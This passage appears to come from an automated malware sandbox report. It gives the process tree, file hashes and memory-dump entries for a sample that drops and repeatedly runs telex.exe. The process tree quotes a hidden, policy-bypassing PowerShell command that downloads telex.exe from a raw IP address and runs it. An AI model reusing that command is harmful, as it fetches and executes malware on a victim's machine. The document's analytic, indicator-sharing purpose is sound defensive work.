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C:\Users\Admin\AppData\Roaming\telex.exeC:\Users\Admin\AppData\Roaming\telex.exe3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\telex.exe"C:\Users\Admin\AppData\Roaming\telex.exe"4⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://46.101.92.117/hol/telex.exe','C:\Users\Admin\AppData\Roaming\telex.exe')2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://46.101.92.117/hol/telex.exe','C:\Users\Admin\AppData\Roaming\telex.exe')3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Roaming\telex.exe2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\telex.exeC:\Users\Admin\AppData\Roaming\telex.exe3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\telex.exe"C:\Users\Admin\AppData\Roaming\telex.exe"4⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Roaming\telex.exe"C:\Users\Admin\AppData\Roaming\telex.exe"4⤵
- Executes dropped EXE
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msFilesize
7KB
MD56c28d5dae0342fa700258fd1a2e1bca5
SHA14d79b185372a5c44d60e9711d42b257d5558f017
SHA2569b8b13108b45b6fe48352d6ab829110236ebefbade24714f602961ac203d310d
SHA512150bbd9d671cf810370db863c1f609a084fed2e0b8af8d378aacf23c891dc77d30776626ae6f5dfc97b93b7c84cef6f0bc5e2cd54a9e6bfab418d52c90d6b984
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msFilesize
7KB
MD56c28d5dae0342fa700258fd1a2e1bca5
SHA14d79b185372a5c44d60e9711d42b257d5558f017
SHA2569b8b13108b45b6fe48352d6ab829110236ebefbade24714f602961ac203d310d
SHA512150bbd9d671cf810370db863c1f609a084fed2e0b8af8d378aacf23c891dc77d30776626ae6f5dfc97b93b7c84cef6f0bc5e2cd54a9e6bfab418d52c90d6b984
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C:\Users\Admin\AppData\Roaming\telex.exeFilesize
667KB
MD5a66af759f1ad8e2eb020e21ae7b71c68
SHA1c1bcb51217beb0ce98f807ab87226cf6b8ad2000
SHA25619a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a
SHA512161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4
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C:\Users\Admin\AppData\Roaming\telex.exeFilesize
667KB
MD5a66af759f1ad8e2eb020e21ae7b71c68
SHA1c1bcb51217beb0ce98f807ab87226cf6b8ad2000
SHA25619a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a
SHA512161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4
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C:\Users\Admin\AppData\Roaming\telex.exeFilesize
667KB
MD5a66af759f1ad8e2eb020e21ae7b71c68
SHA1c1bcb51217beb0ce98f807ab87226cf6b8ad2000
SHA25619a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a
SHA512161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4
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C:\Users\Admin\AppData\Roaming\telex.exeFilesize
667KB
MD5a66af759f1ad8e2eb020e21ae7b71c68
SHA1c1bcb51217beb0ce98f807ab87226cf6b8ad2000
SHA25619a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a
SHA512161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4
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C:\Users\Admin\AppData\Roaming\telex.exeFilesize
667KB
MD5a66af759f1ad8e2eb020e21ae7b71c68
SHA1c1bcb51217beb0ce98f807ab87226cf6b8ad2000
SHA25619a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a
SHA512161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4
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C:\Users\Admin\AppData\Roaming\telex.exeFilesize
667KB
MD5a66af759f1ad8e2eb020e21ae7b71c68
SHA1c1bcb51217beb0ce98f807ab87226cf6b8ad2000
SHA25619a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a
SHA512161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4
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C:\Users\Admin\AppData\Roaming\telex.exeFilesize
667KB
MD5a66af759f1ad8e2eb020e21ae7b71c68
SHA1c1bcb51217beb0ce98f807ab87226cf6b8ad2000
SHA25619a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a
SHA512161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4
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C:\Users\Admin\AppData\Roaming\telex.exeFilesize
667KB
MD5a66af759f1ad8e2eb020e21ae7b71c68
SHA1c1bcb51217beb0ce98f807ab87226cf6b8ad2000
SHA25619a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a
SHA512161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4
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\Users\Admin\AppData\Roaming\telex.exeFilesize
667KB
MD5a66af759f1ad8e2eb020e21ae7b71c68
SHA1c1bcb51217beb0ce98f807ab87226cf6b8ad2000
SHA25619a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a
SHA512161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4
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memory/624-77-0x0000000000000000-mapping.dmp
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memory/888-59-0x0000000000000000-mapping.dmp
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memory/1064-63-0x00000000050A0000-0x00000000050EF000-memory.dmpFilesize
316KB
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memory/1064-64-0x000000006B100000-0x000000006B6AB000-memory.dmpFilesize
5MB
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memory/1064-60-0x0000000000000000-mapping.dmp
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memory/1064-62-0x000000006B100000-0x000000006B6AB000-memory.dmpFilesize
5MB
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memory/1084-89-0x0000000000000000-mapping.dmp
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memory/1304-76-0x0000000000560000-0x0000000000566000-memory.dmpFilesize
24KB
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memory/1304-75-0x00000000004F0000-0x000000000050A000-memory.dmpFilesize
104KB
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memory/1304-73-0x0000000000630000-0x0000000000648000-memory.dmpFilesize
96KB
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memory/1304-72-0x00000000005C0000-0x00000000005F4000-memory.dmpFilesize
208KB
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memory/1304-70-0x0000000000BD0000-0x0000000000C7C000-memory.dmpFilesize
688KB
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memory/1304-68-0x0000000000000000-mapping.dmp
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memory/1312-97-0x00000000004F0000-0x0000000000524000-memory.dmpFilesize
208KB
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memory/1312-90-0x0000000000000000-mapping.dmp
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memory/1580-119-0x0000000000000000-mapping.dmp
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memory/1580-120-0x000007FEFC101000-0x000007FEFC103000-memory.dmpFilesize
8KB
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memory/1592-99-0x0000000000000000-mapping.dmp
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memory/1624-100-0x0000000000000000-mapping.dmp
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memory/1632-87-0x0000000066100000-0x00000000666AB000-memory.dmpFilesize
5MB
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memory/1632-86-0x0000000004E20000-0x00000000050F2000-memory.dmpFilesize
2MB
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memory/1632-78-0x0000000000000000-mapping.dmp
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memory/1756-65-0x0000000000000000-mapping.dmp
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memory/1884-54-0x0000000072A51000-0x0000000072A54000-memory.dmpFilesize
12KB
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memory/1884-55-0x00000000704D1000-0x00000000704D3000-memory.dmpFilesize
8KB
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memory/1884-56-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/1884-58-0x00000000714BD000-0x00000000714C8000-memory.dmpFilesize
44KB
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memory/1884-57-0x0000000075E31000-0x0000000075E33000-memory.dmpFilesize
8KB
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memory/1884-74-0x00000000714BD000-0x00000000714C8000-memory.dmpFilesize
44KB
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memory/1912-85-0x0000000000400000-0x000000000043C000-memory.dmpFilesize
240KB
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memory/1912-79-0x0000000000400000-0x000000000043C000-memory.dmpFilesize
240KB
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memory/1912-81-0x0000000000400000-0x000000000043C000-memory.dmpFilesize
240KB
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memory/1912-121-0x0000000000400000-0x000000000043C000-memory.dmpFilesize
240KB
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memory/1912-122-0x0000000000437C2E-mapping.dmp
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memory/1912-125-0x0000000000400000-0x000000000043C000-memory.dmpFilesize
240KB
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memory/1912-127-0x0000000000400000-0x000000000043C000-memory.dmpFilesize
240KB
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memory/1912-84-0x0000000000400000-0x000000000043C000-memory.dmpFilesize
240KB
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memory/1952-88-0x0000000000000000-mapping.dmp
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memory/2012-98-0x0000000066380000-0x000000006692B000-memory.dmpFilesize
5MB
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memory/2012-96-0x0000000004C60000-0x0000000004F32000-memory.dmpFilesize
2MB
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memory/2012-92-0x0000000000000000-mapping.dmp